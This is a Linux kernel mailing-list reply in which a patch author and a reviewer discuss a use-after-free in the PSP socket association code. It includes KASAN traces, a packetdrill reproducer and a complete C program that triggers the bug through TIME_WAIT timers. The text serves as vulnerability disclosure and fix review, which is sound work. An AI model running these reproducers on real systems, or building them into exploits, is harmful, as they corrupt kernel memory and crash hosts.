Re: [PATCH net] net: psp: do not inherit the Rx association on clone

[Norbert Szetei]

On Aug 29, 2026, at 22:40, Daniel Zahka <daniel.zahka@xxxxxxxxx> wrote:
> 
> On Sat Aug 29, 2026 at 12:56 PM EDT, Norbert Szetei wrote:
>> sk->psp_assoc sits past sk_dontcopy_end, so sock_copy() copies it into
>> every socket accepted from a listener without taking a reference, while
>> inet_sock_destruct() puts for every inet socket. psp_twsk_init() does
>> refcount_inc() for the timewait socket, so a child closing through
>> TIME_WAIT cancels its own put and leaves the association with one
>> reference and N timewait sockets holding the same pointer. Closing the
>> listener frees it, and the timewait timers then put freed memory.
>> 
>> Rejecting the association on a listening socket is not sufficient: a socket
>> can acquire one while established and then be turned back into a listener,
>> because tcp_disconnect() leaves sk->psp_assoc in place.
>> 
>>  BUG: KASAN: slab-use-after-free in psp_twsk_assoc_free+0x6f/0xf0
>>  Write of size 4 at addr ffff888110f9255c by task swapper/7/0
>>   psp_twsk_assoc_free+0x6f/0xf0
>>   inet_twsk_put+0xda/0x1b0
>>   call_timer_fn+0x53/0x2e0
>>   __run_timers+0x764/0xa80
>>  Freed by task 99:
>>   kfree+0x1a7/0x500
>>   process_one_work+0x7ec/0x1100
>> 
>> An association carries a per-connection SPI and key, so a child must not
>> inherit the parent's. Clear it on clone.
>> 
>> Fixes: 6b46ca260e22 ("net: psp: add socket security association code")
>> Cc: stable@xxxxxxxxxxxxxxx
>> Assisted-by: Claude:claude-opus-5
>> Signed-off-by: Norbert Szetei <norbert@xxxxxxxxxxxx>
> 
> Thanks. Nit: I think the commit message overemphasizes the timewait
> paths being part of reaching the bug. I suppose that is because the
> included trace went that route, but I think anything that happens after
> the copying of the socket's psp_assoc without taking a refcount will
> reach the same issue.

Agreed, and your packetdrill test shows it better than my commit log does.
I can drop or change that paragraph in a v2 if you or the maintainers would 
prefer it, otherwise I will leave the patch as is so as not to reset your 
review.

> The fix looks appropriate to me. I also think disallowing rx-assoc might
> be something that we ought to do.

That was my first attempt, and it is how I ended up with this patch
instead. I rejected rx-assoc unless sk_state was TCP_ESTABLISHED, in
psp_sock_assoc_set_rx(). That closes the obvious route, but a socket can
still pick up an association while established and then be turned back
into a listener:

  connect()            -> ESTABLISHED
  rx-assoc             -> allowed, the socket is established
  connect(AF_UNSPEC)   -> tcp_disconnect() has no psp handling, so
                          sk->psp_assoc survives, sk_state is TCP_CLOSE
  listen()             -> __inet_listen_sk() accepts TCPF_CLOSE

which is a listener holding an association again. I still think it is worth 
doing on top of this, though.

> Reviewed-by: Daniel Zahka <daniel.zahka@xxxxxxxxx>
> 
>> ---
>> Reproducer available on request.
>> 
> 
> Sure. Let's see it. Here's one with packetdrill and netdevsim:
> 
> cat gtests/net/psp/repro/psp-listen-assoc-uaf.pkt 
> // Expected on an unfixed kernel:
> //
> //   BUG: KASAN: slab-use-after-free in psp_assoc_put.part.0+0x1b/0x60
> //   Write of size 4 at addr ff11000112918a60 by task swapper/3/0
> //    psp_assoc_put.part.0+0x1b/0x60
> //    __sk_destruct+0x7b/0x630
> //    rcu_core+0x508/0x1470
> //   Allocated by task 258:
> //    psp_assoc_create+0xb7/0x3f0
> //    psp_nl_rx_assoc_doit+0x1cc/0xae0
> //   Freed by task 77:
> //    kfree+0x321/0x500
> //    process_one_work+0x89f/0x18a0
> //
> //   refcount_t: underflow; use-after-free.
> 
> --psp_udp_port=1000
> 
> // Initialize a listening socket.
>    0 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
>   +0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
>   +0 bind(3, ..., ...) = 0
>   +0 listen(3, 1) = 0
> 
>   +0 psp_rx_assoc(3, [7]) = 0
> 
> // Complete a handshake. The child cloned here silently shares the
> // listener's psp_assoc pointer with no reference of its own.
>  +.1 < S 0:0(0) win 50000 <mss 1000,nop,wscale 0>
>   +0 > S. 0:0(0) ack 1 <mss MSS,nop,wscale 8>
>  +.1 < . 1:1(0) ack 1 win 50000
>   +0 accept(3, ..., ...) = 4
> 
> // Reset the child so close() destroys it right away rather than parking
> // it in FIN_WAIT/TIME_WAIT.
>  +.1 < R. 1:1(0) ack 1 win 0
> 
> // First put drops the only refcnt
>   +0 close(4) = 0
> 
>  +.5 `sleep 0.5`
> 
> // Second put: psp_assoc_put() touches freed memory
>   +0 close(3) = 0
> 
> // Keep the VM alive long enough for the splat to reach the console.
>  +.5 `sleep 1`

Mine is a standalone C program that takes the other route, children closed 
normally, so the UAF is triggered from the timewait timers. It uses 
netdevsim too, I ran `echo "1 1" > /sys/bus/netdevsim/new_device` first.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>

/* from include/uapi/linux/psp.h */
#define PSP_CMD_DEV_GET		1
#define PSP_CMD_RX_ASSOC	8
#define PSP_A_DEV_ID		1
#define PSP_A_ASSOC_DEV_ID	1
#define PSP_A_ASSOC_VERSION	2
#define PSP_A_ASSOC_SOCK_FD	5

#define NR_CHILDREN		4

static int gfd;

static void put_u32(char *buf, int *len, int type, unsigned int val)
{
	struct nlattr *a = (struct nlattr *)(buf + NLMSG_ALIGN(*len));

	a->nla_type = type;
	a->nla_len = NLA_HDRLEN + 4;
	memcpy((char *)a + NLA_HDRLEN, &val, 4);
	*len = NLMSG_ALIGN(*len) + NLA_ALIGN(a->nla_len);
}

/* returns <0 on netlink error, else the reply length */
static int genl(int family, int cmd, int flags, const char *attrs, int alen,
		char *rbuf, int rlen)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	char buf[1024];
	struct nlmsghdr *n = (struct nlmsghdr *)buf;
	struct genlmsghdr *g = (struct genlmsghdr *)NLMSG_DATA(n);
	int len;

	memset(buf, 0, sizeof(buf));
	n->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	n->nlmsg_type = family;
	n->nlmsg_flags = NLM_F_REQUEST | flags;
	n->nlmsg_seq = 1;
	g->cmd = cmd;
	g->version = 1;
	if (alen) {
		memcpy(buf + NLMSG_ALIGN(n->nlmsg_len), attrs, alen);
		n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + alen;
	}
	if (sendto(gfd, buf, n->nlmsg_len, 0,
		   (struct sockaddr *)&sa, sizeof(sa)) < 0)
		return -errno;
	len = recv(gfd, rbuf, rlen, 0);
	if (len < 0)
		return -errno;
	n = (struct nlmsghdr *)rbuf;
	if (n->nlmsg_type == NLMSG_ERROR)
		return ((struct nlmsgerr *)NLMSG_DATA(n))->error;
	return len;
}

static int get_u32(char *msg, int len, int want, unsigned int *out)
{
	struct nlmsghdr *n = (struct nlmsghdr *)msg;
	struct nlattr *a;
	int alen;

	if (!NLMSG_OK(n, len))
		return -1;
	a = (struct nlattr *)((char *)NLMSG_DATA(n) + GENL_HDRLEN);
	alen = NLMSG_PAYLOAD(n, GENL_HDRLEN);
	for (; alen >= (int)NLA_HDRLEN && a->nla_len >= NLA_HDRLEN &&
	       a->nla_len <= alen;
	     alen -= NLA_ALIGN(a->nla_len),
	     a = (struct nlattr *)((char *)a + NLA_ALIGN(a->nla_len))) {
		if ((a->nla_type & NLA_TYPE_MASK) == want) {
			memcpy(out, (char *)a + NLA_HDRLEN, 4);
			return 0;
		}
	}
	return -1;
}

static int psp_family(void)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct { struct nlmsghdr n; struct genlmsghdr g; char b[128]; } req;
	char rbuf[8192];
	struct nlattr *a;
	unsigned int id;
	int len, l;

	memset(&req, 0, sizeof(req));
	req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	req.n.nlmsg_type = GENL_ID_CTRL;
	req.n.nlmsg_flags = NLM_F_REQUEST;
	req.n.nlmsg_seq = 1;
	req.g.cmd = CTRL_CMD_GETFAMILY;
	req.g.version = 1;
	l = req.n.nlmsg_len;
	a = (struct nlattr *)((char *)&req + NLMSG_ALIGN(l));
	a->nla_type = CTRL_ATTR_FAMILY_NAME;
	a->nla_len = NLA_HDRLEN + 4;
	memcpy((char *)a + NLA_HDRLEN, "psp", 4);
	req.n.nlmsg_len = NLMSG_ALIGN(l) + NLA_ALIGN(a->nla_len);

	if (sendto(gfd, &req, req.n.nlmsg_len, 0,
		   (struct sockaddr *)&sa, sizeof(sa)) < 0)
		return -errno;
	len = recv(gfd, rbuf, sizeof(rbuf), 0);
	if (len < 0 || get_u32(rbuf, len, CTRL_ATTR_FAMILY_ID, &id))
		return -ENOENT;
	return id;
}

int main() {
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct sockaddr_in sin;
	char attrs[256], rbuf[8192];
	unsigned int devid;
	socklen_t slen;
	int fam, lfd, cfd, afd, alen, e, i;

	gfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (gfd < 0) {
		perror("netlink socket");
		return 1;
	}
	bind(gfd, (struct sockaddr *)&sa, sizeof(sa));

	fam = psp_family();
	if (fam < 0) {
		fprintf(stderr, "no \"psp\" netlink family - CONFIG_INET_PSP=y?\n");
		return 1;
	}

	e = genl(fam, PSP_CMD_DEV_GET, NLM_F_DUMP, NULL, 0, rbuf, sizeof(rbuf));
	if (e < 0 || get_u32(rbuf, e, PSP_A_DEV_ID, &devid)) {
		fprintf(stderr, "no PSP device - create a netdevsim port first\n");
		return 1;
	}
	printf("psp device id %u\n", devid);

	lfd = socket(AF_INET, SOCK_STREAM, 0);
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (bind(lfd, (struct sockaddr *)&sin, sizeof(sin)) ||
	    listen(lfd, NR_CHILDREN * 2)) {
		perror("bind/listen");
		return 1;
	}
	slen = sizeof(sin);
	getsockname(lfd, (struct sockaddr *)&sin, &slen);

	/* nothing checks sk_state, so this lands on a LISTENING socket */
	alen = 0;
	put_u32(attrs, &alen, PSP_A_ASSOC_SOCK_FD, lfd);
	put_u32(attrs, &alen, PSP_A_ASSOC_DEV_ID, devid);
	put_u32(attrs, &alen, PSP_A_ASSOC_VERSION, 0);
	e = genl(fam, PSP_CMD_RX_ASSOC, 0, attrs, alen, rbuf, sizeof(rbuf));
	if (e < 0) {
		fprintf(stderr, "rx-assoc on listener: %s\n", strerror(-e));
		return 1;
	}
	printf("rx-assoc installed on the listening socket (port %d)\n",
	       ntohs(sin.sin_port));

	/* every accepted child aliases the association without a reference */
	for (i = 0; i < NR_CHILDREN; i++) {
		cfd = socket(AF_INET, SOCK_STREAM, 0);
		if (connect(cfd, (struct sockaddr *)&sin, sizeof(sin))) {
			perror("connect");
			return 1;
		}
		afd = accept(lfd, NULL, NULL);
		if (afd < 0) {
			perror("accept");
			return 1;
		}
		close(afd);	/* -> TIME_WAIT, psp_twsk_init() takes a ref */
		close(cfd);
	}
	printf("accepted and closed %d children\n", NR_CHILDREN);

	close(lfd);		/* drops the last ref: association is freed */
	printf("listener closed; waiting ~75s for the TIME_WAIT timers\n");
	fflush(stdout);
	sleep(75);		/* timers fire -> put on freed memory */

	printf("done - check dmesg for the KASAN report\n");
	return 0;
}